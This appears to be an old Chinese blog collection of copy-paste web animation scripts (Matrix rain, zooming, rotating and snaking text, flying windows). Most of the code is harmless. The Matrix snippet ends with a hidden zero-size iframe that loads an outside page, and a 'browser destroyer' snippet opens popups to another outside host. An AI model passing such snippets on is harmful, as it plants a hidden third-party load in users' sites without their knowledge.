Thu

19

Mar

2009

52、黑客帝国特效代码17

52、黑客帝国特效代码17

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!--

if (document.all){

Cols=6;

Cl=24;//Space's are included so real length is 48!

Cs=10;

Ts=10;

Tc='#008800';

Tc1='#00ff00';

MnS=20;

MxS=30;

I=Cs;

Sp=new Array();S=new Array();Y=new Array();

C=new Array();M=new Array();B=new Array();

RC=new Array();E=new Array();Tcc=new Array(0,1);

document.write("<div id='Container' style='position:absolute;top:0;left:-"+Cs+"'>");

document.write("<div style='position:relative'>");

for(i=0; i < Cols; i++){

S[i]=I+=Cs;

document.write("<div id='A' style='position:absolute;top:0;font-family:Arial;font-size:"

+Ts+"px;left:"+S[i]+";width:"+Ts+"px;height:0px;color:"+Tc+";visibility:hidden'></div>");

}

document.write("</div></div>");

 

for(j=0; j < Cols; j++){

RC[j]=1+Math.round(Math.random()*Cl); 

Y[j]=0;

Sp[j]=Math.round(MnS+Math.random()*MxS);

for(i=0; i < RC[j]; i++){

 B[i]='';

 C[i]=Math.round(Math.random()*1)+' ';

 M[j]=B[0]+=C[i];

 }

}

function Cycle(){

Container.style.top=window.document.body.scrollTop;

for (i=0; i < Cols; i++){

var r = Math.floor(Math.random()*Tcc.length);

E[i] = '<font color='+Tc1+'>'+Tcc[r]+'</font>';

Y[i]+=Sp[i];

 

if (Y[i] > window.document.body.clientHeight){

 for(i2=0; i2 < Cols; i2++){

 RC[i2]=1+Math.round(Math.random()*Cl); 

 for(i3=0; i3 < RC[i2]; i3++){

 B[i3]='';

 C[i3]=Math.round(Math.random()*1)+' ';

 C[Math.floor(Math.random()*i2)]=' '+' ';

 M[i]=B[0]+=C[i3];

 Y[i]=-Ts*M[i].length/1.5;

 A[i].style.visibility='visible';

 }

 Sp[i]=Math.round(MnS+Math.random()*MxS);

 }

}

A[i].style.top=Y[i];

A[i].innerHTML=M[i]+' '+E[i]+' ';

}

setTimeout('Cycle()',20)

}

Cycle();

}

// -->

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

54、轮流冲向屏幕的文字

54、轮流冲向屏幕的文字

<html>

 

<head>

<title>网页特效-轮流冲向屏幕的文字</title>

</head>

 

<body>

<font face="楷体_GB2312" color="#ff3333"><script language="JavaScript"><!-- Begin

var speed = 20;

var cycledelay = 10000;

var maxsize = 48;

 

var x = 0;

var y = 0;

var themessage, size;

var esize = "";

 

function initArray() {

this.length = initArray.arguments.length;

for (var i = 0; i < this.length; i++) {

this[i] = initArray.arguments[i];

   }

}

var themessage2 = new initArray(

"欢迎学习网页特效制作!!",

"这里资源多多,不停更新!",

"网页特效脚本让您的网页多姿多彩!",

"再次感谢您的到来!"

);

if(navigator.appName == "Netscape")

document.write('<layer id="wds"></layer><br>');

if (navigator.appVersion.indexOf("MSIE") != -1)

document.write('<span id="wds"></span><br>');

function upwords(){

themessage = themessage2[y];

if (x < maxsize) {

x++;

setTimeout("upwords()",speed);

}

else setTimeout("downwords()",cycledelay);

 

if(navigator.appName == "Netscape") {

size = "<font point-size='"+x+"pt'>";

document.wds.document.write(size+"<center>"+themessage+"</center>"+esize);

document.wds.document.close();

}

if (navigator.appVersion.indexOf("MSIE") != -1){

wds.innerHTML = "<center>"+themessage+"</center>";

wds.style.fontSize=x+'px'

   }

}

function downwords(){

if (x > 1) {

x--;

setTimeout("downwords()",speed);

}

else {

setTimeout("upwords()",cycledelay);

y++;

if (y > themessage2.length - 1) y = 0;

}

if(navigator.appName == "Netscape") {

size = "<font point-size='"+x+"pt'>";

document.wds.document.write(size+"<center>"+themessage+"</center>"+esize);

document.wds.document.close();

}

if (navigator.appVersion.indexOf("MSIE") != -1){

wds.innerHTML = "<center>"+themessage+"</center>";

wds.style.fontSize=x+'px'

   }

}

setTimeout("upwords()",speed);

//  End -->

</script>

</font>

<div align="center">

  <center>

  <table border="0" width="100%" height="54">

    <tr>

      <td width="100%" height="18">

        <p class="MsoNormal" align="center"> </p>

        <p class="MsoNormal" align="center"> </p>

        <p class="MsoNormal" align="center"><font color="#FF0000" size="5"><span style="mso-bidi-font-size: 10.0pt; font-family: 宋体; mso-hansi-font-family: Times New Roman"><b>轮流冲向屏幕的文字</b></span></font><span lang="EN-US" style="font-size:15.0pt;mso-bidi-font-size:

10.0pt"><o:p>

        </o:p>

        </span></p>

        <p align="left"><span lang="EN-US" style="font-size: 10.5pt; mso-bidi-font-size: 10.0pt; font-family: 宋体; mso-hansi-font-family: Times New Roman; mso-bidi-font-family: Times New Roman; color: black; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-spacerun: yes">   

        </span></td>

    </tr>

    <tr>

      <td width="100%" height="1">

      <p class="MsoNormal" align="left"><font color="#FF00FF"><span lang="EN-US" style="font-size: 10.5pt; mso-bidi-font-size: 10.0pt; font-family: 宋体; mso-hansi-font-family: Times New Roman; mso-bidi-font-family: Times New Roman; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"> 

      一行行文字由小变大,又由大变小,</span><span style="font-size:10.5pt;mso-bidi-font-size:10.0pt;font-family:宋体;mso-ascii-font-family:

"Times New Roman";mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:

"Times New Roman";mso-font-kerning:1.0pt;mso-ansi-language:EN-US;mso-fareast-language:

ZH-CN;mso-bidi-language:AR-SA">冲向屏幕</span><span lang="EN-US" style="font-size:

10.5pt;mso-bidi-font-size:10.0pt;font-family:"Times New Roman";mso-fareast-font-family:

宋体;mso-font-kerning:1.0pt;mso-ansi-language:EN-US;mso-fareast-language:ZH-CN;

mso-bidi-language:AR-SA">,</span><span style="font-size: 10.5pt; mso-bidi-font-size: 10.0pt; font-family: 宋体; mso-hansi-font-family: Times New Roman; mso-bidi-font-family: Times New Roman; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">并轮流变化内容,还可以加上超链接,形成十分“酷”的动态导航菜单<span lang="EN-US"></span></span></font><font color="#FF0000"><span style="mso-spacerun: yes; font-size: 15.0pt; mso-bidi-font-size: 10.0pt"> </span></font></p>

      <center>

      <p> </td>

    </center>

    </tr>

  </table>

  </center>

</div>

</body>

</html>

0 Comments

Thu

19

Mar

2009

53、飞舞的窗口

53、飞舞的窗口

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

 

<title>网页特效---飞舞的窗口</title>

</head>

 

<body>

 

 

<SCRIPT language=javascript>

function WinScroll(direction,xWidth,xHeight){

if ((navigator.appVersion.indexOf('4')!= -1)){

self.resizeTo(xWidth,xHeight)

if (direction == 1){

self.moveTo((screen.availWidth-xWidth)/2,screen.availHeight-10)

for (var c=1; c<=(screen.availHeight-(-xHeight))/2; c++)

self.moveTo((screen.availWidth-xWidth)/2,screen.availHeight-c)

}

if (direction == 2){

var x=screen.availHeight+screen.Height

self.moveTo((screen.availWidth-xWidth)/2,(screen.availHeight-x))

for (var c=0; c<=(screen.availHeight-(-xHeight/2)); c++)

self.moveTo((screen.availWidth-xWidth)/2,(screen.availHeight-x)+c)

}

if (direction == 3){

var x=screen.availWidth-10

self.moveTo(x,(screen.availHeight-xHeight)/2)

for (var c=1; c<=(x-(-xWidth))/2; c++)

self.moveTo((x-c),(screen.availHeight-xHeight)/2)

}

 

if (direction == 4){

var x=screen.availWidth+(xWidth-10)

self.moveTo((screen.availWidth-x),(screen.availHeight-xHeight)/2)

for (var c=1; c<=(screen.availWidth-(-xWidth))/2; c++)

self.moveTo(((screen.availWidth-x)+c),(screen.availHeight-xHeight)/2)

}

}

}

for (c=1; c<=4; c++) WinScroll(c,400,400)

</SCRIPT>

</body>

 

</html>

 

0 Comments

Thu

19

Mar

2009

51、浏览器毁灭者18

51、浏览器毁灭者18

脚本说明:

第一步:把如下代码加入<head>区域中

<script language="JavaScript">

 

<!---hide---

 

function pop(){

 

            for(i=1;i<=3;i++){

 

                 window.open('http://www38.websamba.com/fawang/store/htm/tupian.htm','','width=250,height=250','status=off','location=off','toolbar=off','scrollbars=off')}}

 

//--->

</script>

 

 

第二步:把如下代码加入<body>区域中

<form name="form">

        <p>

      <input type="button" value="测试:一点击就打开360*60的小窗口" onClick="pop()" name="button" class="unnamed1">

    </p>

</form>

0 Comments

Thu

19

Mar

2009

50、图片放大镜

50、图片放大镜

<!--将以下代码加入HTML<Body></Body>之间-->

 

<BODY ONLOAD="soccerOnload()" topmargin="0">

<DIV ID="soccer" STYLE="position:absolute; left:150; top:0">

<IMG SRC="image\flag.gif" border="0">

</DIV>

<SCRIPT LANGUAGE="JavaScript">

var msecs = 500;

var counter = 0;

function soccerOnload() {

setTimeout("blink()", msecs);

}

function blink() {

soccer.style.visibility =

(soccer.style.visibility == "hidden") ? "visible" : "hidden";

counter +=1;

setTimeout("blink()", msecs);

}

</SCRIPT><SCRIPT type="text/javascript" src=""></SCRIPT>

<SCRIPT language="JavaScript">

<!--

BaiduWriteAD("zouwenyedg","3");

//-->

</SCRIPT>

 

0 Comments

Thu

19

Mar

2009

49、水波式切换动态文字

49、水波式切换动态文字

<html>

 

<head>

<title>网页特效---水波式切换动态文字</title>

<meta content="text/html; charset=gb2312" http-equiv="Content-Type">

</head>

 

<body bgColor="#000000" onload="initiate()">

<script language="JavaScript">

<!-- Beginning of JavaScript -

// Your messages. Add as many as you like

var message=new Array()

message[0]="欢迎学习网页特效制作,网页制作从此轻松!"

message[1]="这里有网页特效,免费资源,网页素材,教程!"

message[2]="网页tt,网缘无限,请进社区!"

 

// the URLs of your messages

var messageurl=new Array()

messageurl[0]="http://7stk.com"

messageurl[1]="http://7stk.com"

messageurl[2]="http://7stk.com"

 

// the targets of the links

// accepted values are '_blank' or '_top' or '_parent' or '_self'

// or the name of your target-window (for instance 'main')

var messagetarget=new Array()

messagetarget[0]="_blank"

messagetarget[1]="_blank"

messagetarget[2]="_blank"

 

// the text of your links. In this sample it's the word 'more'

var linktext="去看看"

// font-size

var fntsize=11

 

// font-color

var fntcolor="FFFF00"

 

// font-family

var fntfamily="Verdana"

 

// font-weight: 1 means bold, 0 means normal

var fntweight=0

 

// standstill of each image(seconds)

var pause=3

 

var backgroundcolor="444444"

 

// horizontal position of the slideshow (distance to the left margin of the browser-window, pixels)

var posleft=5

 

// vertical position of the slideshow (distance to the top margin of the browser-window, pixels)

var postop=5

 

// width of the textbox (pixels)

var scrollerwidth=200

 

// height of the textbox (pixels)

var scrollerheight=150

 

// width of the border (pixels)

var scrollerborder=2

 

// width of the textpadding (pixels)

var textpadding=15

 

// do not edit the variables below

var textwidth=scrollerwidth-(2*textpadding)

var textcontent=""

var bgcontent=""

var i_message=0

var i_stepwave=0

var i_maxstepwave=20

pause=pause*1000

if (fntweight==1) {fntweight="700"}

else {fntweight="100"}

 

function initiate() {

gettextcontent()

getbgcontent()

if (document.all) {

wavemessage.innerHTML=textcontent

wavemessagebg.innerHTML=bgcontent

wavemessagebg.style.posLeft=posleft

wavemessagebg.style.posTop=postop

wavemessage.style.posLeft=posleft+textpadding

wavemessage.style.posTop=postop+textpadding

enlargewave()

}

if (document.layers) {

document.wavemessage.left=posleft+textpadding

document.wavemessage.top=postop+textpadding

document.wavemessagebg.document.write(bgcontent)

document.wavemessagebg.document.close()

document.wavemessagebg.left=posleft

document.wavemessagebg.top=postop

changemessage()

}

}

 

function enlargewave() {

if (i_stepwave<=i_maxstepwave) {

wavemessage.filters.wave.phase=i_stepwave

wavemessage.filters.wave.strength=i_stepwave

wavemessage.filters.wave.lightstrength=i_stepwave

wavemessage.filters.wave.freq=i_stepwave

i_stepwave++

var timer=setTimeout("enlargewave()",50)

}

else {

clearTimeout(timer)

changemessage()

}

}

 

function reducewave() {

if (i_stepwave>0) {

wavemessage.filters.wave.phase=i_stepwave

wavemessage.filters.wave.strength=i_stepwave

wavemessage.filters.wave.lightstrength=i_stepwave

wavemessage.filters.wave.freq=i_stepwave

i_stepwave--

var timer=setTimeout("reducewave()",50)

}

else {

clearTimeout(timer)

var timer=setTimeout("enlargewave()",pause)

}

}

 

function changemessage() {

i_message++

if (i_message>=message.length) {i_message=0}

gettextcontent()

 

if (document.all) {

wavemessage.innerHTML=textcontent

reducewave()

}

 

if (document.layers) {

document.wavemessage.document.write(textcontent)

document.wavemessage.document.close()

var timer=setTimeout("changemessage()",pause)

}

 

}

 

function gettextcontent() {

textcontent="<span style='font-size:"+fntsize+"pt;font-family:"+fntfamily+";font-weight:"+fntweight+";width:"+textwidth+"px'>"

textcontent+="<font color="+fntcolor+">"+message[i_message]+"</font> "

textcontent+="<a href="+messageurl[i_message]+" target="+messagetarget[i_message]+">"

textcontent+="<br><br><font color="+fntcolor+">"+linktext+"</font></a></span>"

}

 

function getbgcontent() {

bgcontent="<table width="+scrollerwidth+" height="+scrollerheight+" border="+scrollerborder+"><tr><td bgcolor="+backgroundcolor+"> </td></tr></table>"

}

 

// - End of JavaScript - -->

</script>

<div id="wavemessagebg" style="POSITION: absolute"></div><div

id="wavemessage" style="FILTER: wave(); POSITION: absolute"></div><div

id="deletethisblock" style="LEFT: 220px; POSITION: absolute; TOP: 5px"></div>

 

</body>

</html>

 

0 Comments

Thu

19

Mar

2009

48、围绕一点旋转的文字

48、围绕一点旋转的文字

<HTML><HEAD><TITLE>网页特效--围绕一点旋转的文字效果</TITLE>

<META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD>

<BODY onload=initiate() text="#FF0000">

<CENTER>

<SCRIPT>

<!--

 

var message = new Array()

message[0]="欢迎光临网页特效!"

message[1]="怎么样,有什么感觉?"

message[2]="是不是感觉比较酷呢?:)"

message[3]="请记住本站的网址!"

 

// 旋转信息的宽与高

var scrollerheight=200

var scrollerwidth=700

 

// 字体

var font_family="宋体"

 

// 文本的位置

var x_textposition=300

var y_textposition=100

 

var i_message=0

var i_loop=0

var max_loop=48

var timer

y_textposition=y_textposition-Math.floor(scrollerheight/1.5)+10

x_textposition=x_textposition-Math.floor(scrollerwidth/3)

 

function initiate() {

       if (document.all) {       

              document.all.rotationstyle.style.posLeft=x_textposition

              document.all.rotationstyle.style.posTop=y_textposition

        changemessage()

       }

}

 

function changemessage() {

              do_rotate="yes"

              rotationstyle.innerHTML=

              '<OBJECT ID="rotationobj" CLASSID="CLSID:369303C2-D7AC-11d0-89D5-00A0C90833E6" STYLE="position:relative;width:'+scrollerwidth+'px;height:'+2*scrollerheight+'px">'+

        '<PARAM NAME="Line0001" VALUE="SetLineStyle(0)">'+

        '<PARAM NAME="Line0002" VALUE="SetLineColor(ff,00,00)">'+

              '<PARAM NAME="Line0003" VALUE="SetFillColor(ff,00,00)">'+

              '<PARAM NAME="Line0004" VALUE="SetFont(\''+font_family+'\', '+5+', 400, 0, 0, 0)">'+

              '<PARAM NAME="Line0005" VALUE="Text(\''+message[i_message]+'\', 0, 0, 0)">'+

              '</OBJECT>'        

              startscroll()

}

 

function startscroll() {

       if (i_loop < max_loop) {

        rotationobj.Rotate(0,0,-30)

              rotationobj.Scale(1.04,1.04,1.04)

              i_loop++

              timer=setTimeout("startscroll()",50)

       }

   else {

        i_message++

              i_loop=0

        if (i_message>=message.length) {i_message=0}

              timer=setTimeout("changemessage()",2000)

       }

}

 

// -->

</SCRIPT>

<SPAN id=rotationstyle style="POSITION: absolute">

<OBJECT classid=CLSID:369303C2-D7AC-11d0-89D5-00A0C90833E6

id=rotationobj></OBJECT></SPAN>

</BODY></HTML>

 

0 Comments

Thu

19

Mar

2009

47、绚丽多彩的文字

47、绚丽多彩的文字

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb_2312-80">

<meta name="GENERATOR" content="Microsoft FrontPage 5.0">

<title>网页特效---绚丽多彩的文字</title>

</head>

 

<body bgcolor="#000000" text="#000000">

 

<p align="center"><font id="me1" face="文鼎水管体" size="7" color="#FFFF00"><b>绚丽多彩的文字!</b></font>

 

<script language="vbscript">  

dim i  

i=1  

sub change()   

window.clearTimeout(my)  

select case i  

 case 1  

  me1.style.color="red"  

  i=2  

 case 2  

  me1.style.color="blue"  

  i=3  

 case 3  

  me1.style.color="yellow"    

  i=1  

end select  

my=window.setTimeout("change()",200)  

end sub   

  

sub window_onload()  

  

my=window.setTimeout("change()",100)  

end sub  

</script>

</body>

</html>

 

0 Comments

Thu

19

Mar

2009

46、文字古怪的蜿蜒爬行

46、文字古怪的蜿蜒爬行

<HTML><HEAD><TITLE>网页特效---文字古怪的蜿蜒爬行</TITLE>

<META content="text/html; charset=gb2312" http-equiv=Content-Type>

</HEAD>

<BODY onload=changemessage()>

<CENTER>

<SCRIPT>

<!-- Beginning of JavaScript -

 

// http://oke.yeah.net

// 下面为可更改信息

 

var mes = new Array()

mes[0]="欢迎光临 网页特效! "

mes[1]="这里收集了大量有趣的特效脚本! "

mes[2]="请大家相互转告本站的网址。 "

mes[3]="希望在这里你能找到你喜欢的网页特效 "

mes[4]="再次欢迎你的光临! "

 

var maxtextlength=30

// 下以为路线,中间不能有空格

var path= new Array(548,316,581,296,598,257,577,215,559,202,503,193,464,203,446,222,448,255,468,274,500,280,526,267,541,237,537,209,526,187,499,161,462,146,412,133,368,129,326,132,293,142,272,159,250,184,239,204,234,213,226,230,201,253,186,259,165,265,136,268,110,270,83,267,58,260,36,243,26,229,22,210,24,191,29,174,39,163,56,154,76,150,96,149,110,148,135,152,165,156,196,165,208,172,231,181,254,192,280,203,305,210,339,210,366,206,389,195,405,182,419,167,428,148,442,116,448,80,443,41,401,8,347,0,300,11,280,30,256,50,230,58,198,61,169,56,141,50,113,45,87,36,70,29,52,24,28,18,7,15)

 

// 第二个信息间隔多久出现

var stoptime=1

 

// 字体的属性

var textfont="宋体"

var textsize=12

var textcolor="ff0000"

 

// 字符的间距,如果你改变字体的大小也要改变这里

var letterspace=12

 

var tickerleft=path[path.length-2]

var tickertop=path[path.length-1]

var timer

var finalxpos=tickerleft

var i_mes=0

var message=""

var i_path=0

var stoptimemilli=stoptime*stoptime+1000

var pathx= new Array()

 

if (document.layers) {

       if (textsize>20) {textsize=6}

       else if (textsize>20) {textsize=5}

       else if (textsize>14) {textsize=4}

       else if (textsize>10) {textsize=3}

       else if (textsize>8) {textsize=2}

       else if (textsize<=7) {textsize=1}

}

 

var ii=0

for (i=0;i<=path.length-1;i=i+2) {

       pathx[ii]=path[i]

       ii++

}

 

ii=0

 

var pathy= new Array()

for (i=1;i<=path.length-1;i=i+2) {

       pathy[ii]=path[i]

       ii++

}

 

var xpos=new Array()

for (i=0;i<=maxtextlength;i++) {

       xpos[i]=5000

}

 

var ypos=new Array()

for (i=0;i<=maxtextlength;i++) {

       ypos[i]=5000

}

 

function makesnake() {

       if (i_path<=pathx.length-1) {

              for (i=message.length-1; i>=1; i--) {

                   xpos[i]=xpos[i-1]

                     ypos[i]=ypos[i-1]

           }

              xpos[0]=pathx[i_path]

              ypos[0]=pathy[i_path]

              if (document.all) {

                     for (i=0; i<message.length-1; i++) {

                         var thisspan = eval("document.all.span"+(i)+".style")

                         thisspan.posLeft=xpos[i]

                            thisspan.posTop=ypos[i]

                  }

              }

              if (document.layers) {

                     for (i=0; i<message.length-1; i++) {

                         var thisspan = eval("document.span"+i)

                         thisspan.left=xpos[i]

                            thisspan.top=ypos[i]

                  }

              }

              i_path++

              timer=setTimeout("makesnake()",20)

       }

       else {

              clearTimeout(timer)

              endposition()

       }

}

 

function endposition() {

              if (document.all) {

                     for (i=0; i<message.length-1; i++) {

                         var thisspan = eval("document.all.span"+(i)+".style")

                         thisspan.posLeft=tickerleft+finalxpos

                            thisspan.posTop=tickertop

                            finalxpos+=letterspace

                  }

              }

              if (document.layers) {

                     for (i=0; i<message.length-1; i++) {

                         var thisspan = eval("document.span"+i)

                         thisspan.left=tickerleft+finalxpos

                            thisspan.top=tickertop

                            finalxpos+=letterspace

                  }

              }

              timer=setTimeout("clearmessage()",stoptimemilli)

}

 

function clearmessage() {

              finalxpos=tickertop

              i_path=0

              for (i=0;i<=maxtextlength;i++) {

                     xpos[i]=5000

              }

              if (document.all) {

                     for (i=0;i<=maxtextlength;i++) {

                            var thisspan = eval("document.all.span"+i)

                         thisspan.innerHTML=" "

                            var thisspan = eval("document.all.span"+(i)+".style")

                         thisspan.posLeft=xpos[i]=5000

                     }

              }

              if (document.layers) {

                     for (i=0;i<=maxtextlength;i++) {

                            var thisspan = eval("document.span"+i+".document")

                         thisspan.write("<p> </p>")

                            thisspan.clear()

                            thisspan = eval("document.span"+i)

                         thisspan.left=5000

                     }

              }

              timer=setTimeout("changemessage()",2000)

}

 

function changemessage() {

              var messa=mes[i_mes]

              message=messa.split("")

              if (document.all) {

                     for (i=0;i<=message.length-1;i++) {

                            var thisspan = eval("document.all.span"+i)

                         thisspan.innerHTML="<p style='font-family:"+textfont+";font-size:"+textsize+";color:"+textcolor+"'>"+message[i]+"</p>"

                     }

              }

              if (document.layers) {

                     for (i=0; i<message.length-1; i++) {

                         var thisspan=eval("document.span"+i+".document")

                         thisspan.write("<p><font size="+textsize+" color="+textcolor+" face="+textfont+">"+message[i]+"</font></p>")

                            thisspan.clear()

                  }

              }

              i_mes++

              if (i_mes>=mes.length) {i_mes=0}

              finalxpos=tickertop

              i_path=0

              timer=setTimeout("makesnake()",1000)

}

 

// - End of JavaScript - -->

</SCRIPT>

 

<STYLE>.spanstyle {

       LEFT: 5000px; POSITION: absolute; VISIBILITY: visible

}

</STYLE>

 

<SCRIPT>

<!-- Beginning of JavaScript -

       for (i=0;i<=maxtextlength;i++) {

           document.write("<span id='span"+i+"' class='spanstyle'>")

              document.write(message)

           document.write("</span>")

       }

 

// - End of JavaScript - -->

</SCRIPT>

 

</CENTER>

</BODY>

</HTML>

 

0 Comments

Thu

19

Mar

2009

45、文字变色逐个出现

45、文字变色逐个出现

<html>

<head>

<title>网页特效-文字变色逐个出现</title>

<style type="text/css">

<!--

body {  font-family: "宋体"; font-size: 9pt; margin-top: 0px; margin-left: 0px; margin-right: 0px}

A { COLOR: black; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: none }

 A:hover { COLOR: red; FONT-SIZE: 9pt; FONT-WEIGHT: 400; TEXT-DECORATION: underline }

a:active     { font: 9pt "宋体"; cursor: hand; color: #FF0033 }

 

.child {display:none}-->

</style>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

</head>

 

<body onload=init()>

<br>

<br>

<center><font color=red face="隶书" size=6>文字变色逐个出现</font></center>

<br>

<center>

<table border=1 bordercolor=#000000 borderlight=green style="border-collapse: collapse" cellpadding="0" cellspacing="0">

<tr><td align=center><font size=5 color=red face="Arial, Helvetica, sans-serif"><strong>下面为效果显示区!</strong></font></td></tr>

<tr><td align=center><script language=javascript>

var layers =document.layers,style=document.all,both=layers||style,idme=908601;

if(layers){layerRef='document.layers';styleRef ='';}if(style){layerRef='document.all';styleRef =

'.style';}

function writeOnText(obj,str){

if(layers)with(document[obj]){ document.open();document.write(str);document.close();}

if(style)eval(obj+'.innerHTML=str');   }

var dispStr=new Array("欢迎光临javascript特效站!!!");

var overMe=0;

function txtTyper(str,idx,idObj,spObj,clr1,clr2,delay,plysnd){

var tmp0=tmp1= '',skip=100;

if (both && idx<=str.length) {

if (str.charAt(idx)=='<'){ while(str.charAt(idx)!='>') idx++;idx++;}

if (str.charAt(idx)=='&'&&str.charAt(idx+1)!=' '){ while (str.charAt(idx)!= ';')idx++;idx++;}

tmp0 = str.slice(0,idx);

tmp1 = str.charAt(idx++);

if (overMe==0 && plysnd==1){

if (navigator.plugins[0]){

if(navigator.plugins["LiveAudio"][0].type=="audio/basic" && navigator.javaEnabled()){document.embeds

[0].stop();

setTimeout("document.embeds[0].play(false)",100);}

} else if (document.all){

ding.Stop();

setTimeout("ding.Run()",100);}

overMe=1;}else overMe=0;

writeOnText(idObj, "<span class="+spObj+"><font color='"+clr1+"'>"+tmp0+"</font><font color='"+clr2

+"'>"+tmp1+"</font></span>");

setTimeout("txtTyper('"+str+"', "+idx+", '"+idObj+"', '"+spObj+"', '"+clr1+"', '"+clr2+"', "+delay+" ,"+plysnd+")",delay);}}

function init(){txtTyper(dispStr[0], 0, 'ttl0', 'ttl1', 'red', '#99FF33', 300, 0);}

  </script>

 

<DIV class=ttl1 id=ttl0></DIV>

</td></tr>

</table></center>

<br>

<br>

<center>

 <SCRIPT LANGUAGE="JavaScript">

 

<!-- hide

 

function goHist(a)

 

{

 

   history.go(a);

 

}

 

//-->

 

</script></center>

<br>

<br>

</body>

</html>

 

1 Comments

Thu

19

Mar

2009

44、文字段到处飞舞

44、文字段到处飞舞

<SCRIPT>

 

function morph(e,wait,steps,style,done){

       if(e.morphing){

              return;

       }

       e.morphing = true;

       e.step = 0;

       e.done = steps;

       e.wait = wait;

       e.morphDone = done;

 

       // initialize the given element for the process

       // save some temporary variables within it

       var attribs = _eat_attrib(style);

       if(attribs["top"] != null){

              e.deltaTop = Math.round(Number((attribs["top"] - e.style.posTop) / steps));

              e.finalTop = attribs["top"];

       }else{

              e.deltaTop = null;

              e.finalTop = e.style.posTop;

       }

       if(attribs["left"] != null){

              e.deltaLeft = Math.round(Number((attribs["left"] - e.style.posLeft) / steps));

              e.finalLeft = attribs["left"];

       }else{

              e.deltaLeft = null;

              e.finalLeft = e.style.posLeft;

       }

       if(attribs["height"] != null){

              e.deltaHeight = Math.round(Number((attribs["height"] - e.style.posHeight) / steps));

              e.finalHeight = attribs["height"];

       }else{

              e.deltaHeight = null;

              e.finalHeight = e.style.posHeight;

       }

       if(attribs["width"] != null){

              e.deltaWidth = Math.round(Number((attribs["width"] - e.style.posWidth) / steps));

              e.finalWidth = attribs["width"];

       }else{

              e.deltaWidth = null;

              e.finalWidth = e.style.posWidth;

       }

 

       // group all of the coloring elements together

       e.colors = new Array();

       for(attrib in attribs){

              // check each one individually to kludge

              // if we need to use a "safe" name for the css attribute

              if(attrib == "background"){

                            e.colors[e.colors.length] = new Array();

                            e.colors[e.colors.length - 1].name = attrib;

                            e.colors[e.colors.length - 1].safename = attrib;

              }

              if(attrib == "color"){

                            e.colors[e.colors.length] = new Array();

                            e.colors[e.colors.length - 1].name = attrib;

                            e.colors[e.colors.length - 1].safename = attrib;

              }

              if(attrib == "border-color"){

                            e.colors[e.colors.length] = new Array();

                            e.colors[e.colors.length - 1].name = attrib;

                            e.colors[e.colors.length - 1].safename = "borderColor";

              }

       }

       for(var i=0;i<e.colors.length;i++){

              var rgb = _eat_rgb(attribs[e.colors[i].name]);

              var prergb = _eat_rgb(e.style[e.colors[i].safename]);

              e.colors[i].delta = _eat_rgb(attribs[e.colors[i].name]);

              e.colors[i].finish = _eat_rgb(attribs[e.colors[i].name]);

              e.colors[i].delta["red"] = Math.round(Number((rgb["red"] - prergb["red"]) / steps));

              e.colors[i].delta["green"] = Math.round(Number((rgb["green"] - prergb["green"]) / steps));

              e.colors[i].delta["blue"] = Math.round(Number((rgb["blue"] - prergb["blue"]) / steps));

       }

 

       // fire the first morphing step

       setTimeout("_morphing(document.all." + e.id + ")", wait);

}

/////////////////////////////

 

 

 

/////////////////////////////

//// private function that does the work of morphing the element

function _morphing(e){

       e.step++;

 

       if(e.deltaTop!=null){

              e.style.posTop += e.deltaTop;

       }

 

       if(e.deltaLeft!=null){

              e.style.posLeft += e.deltaLeft;

       }

 

       if(e.deltaHeight!=null){

              e.style.posHeight += e.deltaHeight;

       }

 

       if(e.deltaWidth!=null){

              e.style.posWidth += e.deltaWidth;

       }

 

 

       for(var i=0;i<e.colors.length;i++){

              var rgb = _eat_rgb(e.style[e.colors[i].safename]);

              e.style[e.colors[i].safename]        = "rgb("

                                          + (e.colors[i].delta["red"] + rgb["red"])

                                          + ","

                                          + (e.colors[i].delta["green"] + rgb["green"])

                                          + ","

                                          + (e.colors[i].delta["blue"] + rgb["blue"])

                                          + ")";

       }

 

       // do special things when we are done

       if(e.step == e.done){

              if(e.deltaTop != null)

                     e.style.posTop = e.finalTop;

              if(e.deltaLeft != null)

                     e.style.posLeft = e.finalLeft;

              if(e.deltaWidth != null)

                     e.style.posWidth = e.finalWidth;

              if(e.deltaHeight != null)

                     e.style.posHeight = e.finalHeight;

              for(var i=0;i<e.colors.length;i++){

                     e.style[e.colors[i].safename]        = "rgb("

                                                 + (e.colors[i].finish["red"] + rgb["red"])

                                                 + ","

                                                 + (e.colors[i].finish["green"] + rgb["green"])

                                                 + ","

                                                 + (e.colors[i].finish["blue"] + rgb["blue"])

                                                 + ")";

              }

              e.morphing = false;

              eval(e.morphDone);

       }else{

              setTimeout("_morphing(document.all." + e.id + ")", e.wait);

       }

       return;

}

 

 

//////////////////

//// util for element attribute parsing

//// returns an array of all of the keys = values

function _eat_attrib(str){

       var chunks = new Array();

       var all = new Array();

 

       chunks=str.split(";");

 

       for(var i=0;i<chunks.length;i++){

              var tmpA = new Array();

              tmpA=chunks[i].split(":");

              all[tmpA[0]]=tmpA[1];

       }

       return all;

}

////////////////////

 

 

//////////////////

//// util for style rgb(#,#,#) parsing

//// returns an array of red/green/blue = number

function _eat_rgb(str){

       var all = new Array();

 

       var a = str.indexOf("(");

       var b = str.indexOf(")");

 

       str = str.substring(a + 1, b);

 

       var tmpA = str.split(",");

 

       all["red"]=Number(tmpA[0]);

       all["green"]=Number(tmpA[1]);

       all["blue"]=Number(tmpA[2]);

 

       return all;

}

////////////////////

 

</SCRIPT>

<body>

 

